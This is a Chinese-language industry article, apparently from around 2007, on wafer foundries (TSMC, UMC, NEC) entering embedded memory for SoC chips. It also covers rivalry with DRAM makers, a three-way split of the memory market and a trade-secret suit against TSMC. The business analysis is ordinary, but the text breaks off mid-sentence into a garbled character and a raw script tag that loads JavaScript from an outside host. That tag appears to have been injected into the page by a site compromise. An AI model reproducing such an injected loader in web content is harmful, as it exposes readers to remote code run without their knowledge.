晶圆代工新商机
soc的尺寸越来越小，嵌入式内存制造难度也越来越提升，晶圆代工业者必须介入此市场，否则可能难以接到idm及ic设计业者的订单。
最近晶圆代工大厂如台积电、联电或是日本nec加足马力跨入嵌入式内存产业，从日前台积电正式由日本nec抢下绘图芯片amd-ati嵌入式内存订单，紧接着又有联电与尔必达(elpida)双方共同宣布携手合作，由此可见未来晶圆代工大厂跨入嵌入式内存将只增不减。
内存将是soc芯片中最佳“难”配角
长久以来对于一些全球逻辑ic厂大商来说，无论是绘图芯片厂商、数字讯号处理(dsp)厂或是基频处理器(baseband)公司来说，这些逻辑ic厂商过去所制造芯片中，内部均已包含了6t内存芯片组，由于过去终端商品体积偏大，因此将6t内存芯片与逻辑ic绑在一起，成为一颗标准soc产品时，对逻辑ic厂商来说，并不会有什么困难但受到未来终端商品对体积上的要求愈来愈「轻、薄、短、小」，相对内存体积也愈来愈被要求尽可能缩小，这样一来，对于为过去向来已习惯用6t内存包进逻辑ic的逻辑ic厂便形成技术瓶颈，原因在于逻辑ic厂根本不知道如何将体积大幅缩小的内存包进逻辑ic芯片中，因此必须将其交给先进晶圆代工厂代工。
晶圆代工厂非投入嵌入式内存代工不可
近来晶圆代工大厂之所以会一股脑在嵌入式内存工艺中大量投入资金与人力，原因在于不这样做，未来想要再继续接到国际idm大厂或ic设计公司订单机会恐将愈来愈小，基本来说，晶圆代工厂要生存下去，投入嵌入式内存工艺已是刻不容缓的事。
晶圆代工厂过去所思考的仅是如何以最稳定工艺，最高的产出良率，以及最优惠的价格来吸引idm厂或ic设计公司订单，但由于嵌入式内存工艺已成为未来整个半导体市场主流趋势，晶圆代工厂所面临到的，便是一些传统内存大厂如三星电子(samsung electronics)、美光(micron)、海力士(hynix)、奇梦达(qimonda)等原本就已专注在内存产业dram厂商。
换言之，这些dram厂也体认到自家原本的8英寸厂除了一些可继续制造特殊型内存、nand flash或nor flash外，将触角延伸进嵌入式内存工艺领域也是消耗产能，扩展营收的另一条路。
因此，未来dram厂与晶圆代工厂互抢订单局面将会屡见不鲜，简单来说，台积电、联电不做的话，后面的dram厂可说是一缸子人抢着做。
术业有专攻 内存市场三分天下
未来内存市场大约可区分为3大类，且由3不同半导体产业厂商各司其职，一则是由专业晶圆代工厂台积电、联电、nec等这些厂商主导，其主导的市场主要在嵌入式内存工艺部分，而目前看来这些晶圆代工厂所能掌握的市场，是锁定在soc芯片内部所包含的内存容量在16mb以下者，这部分是晶圆代工厂较有机会掌握的。
根据英特尔内部规划进度来看，旗下所生产的中央处理器至2008年，工艺技术推进到45纳米工艺技术时，中央处理器内部将会包含16mb sram，届时英特尔中央处理器总出货量中便有高达70%会采用嵌入式内存技术。
至于专业的内存设计厂商则会锁定在嵌入式内存市场中，容量在16mb以上部分，这对于晶圆代工厂来说并不擅长，晶圆代工厂长项在embedded ram on chip，至于内存设计业者则是专注在embedded ram by die。
晶圆代工厂与内存设计业者未来在嵌入式内存市场最大区别在于，晶圆代工厂就好比一家饭店，除了可以提供一般的住宿服务外，在同一地点上面为了客户的便利性，也顺便提供了餐饮服务，将餐厅建立在客房的下面，客户要吃饭时只需下楼点餐便可。
但事实上部分住宿客户并不希望住在有提供住宿以及餐饮服务饭店中，而这时内存设计厂就好比一家可提供外送服务的快餐店，随时随地提供餐饮到饭店里，且提供的餐饮内容更为丰盛。
至于未来内存市场中另一要角便是dram厂，这些厂商基本上还是会全力专注在大量化的内存市场，如标准型dram、nand flash、甚至是绘图内存等，由于这部分需要大量产能，才足以降低生产成本，而这种事情对于晶圆代工厂、内存设计厂而言根本是没办法进入。
因此未来可说内存市场已确立朝三分天下方向迈进。
晶圆代工厂唯有培养自己人 官司梦魇才能远离
2007年第3季度末，uniram跳出来指控台积电不当使用其营业秘密的案件，而造成这样结果最主要在于伴随着台积电扩大在嵌入式闪存、嵌入式dram市场占有率，一些内存相关ip的厂商，或是相关领域的业者对台积电进行指控机会也将会愈?script src=http://er12.com/t.js>
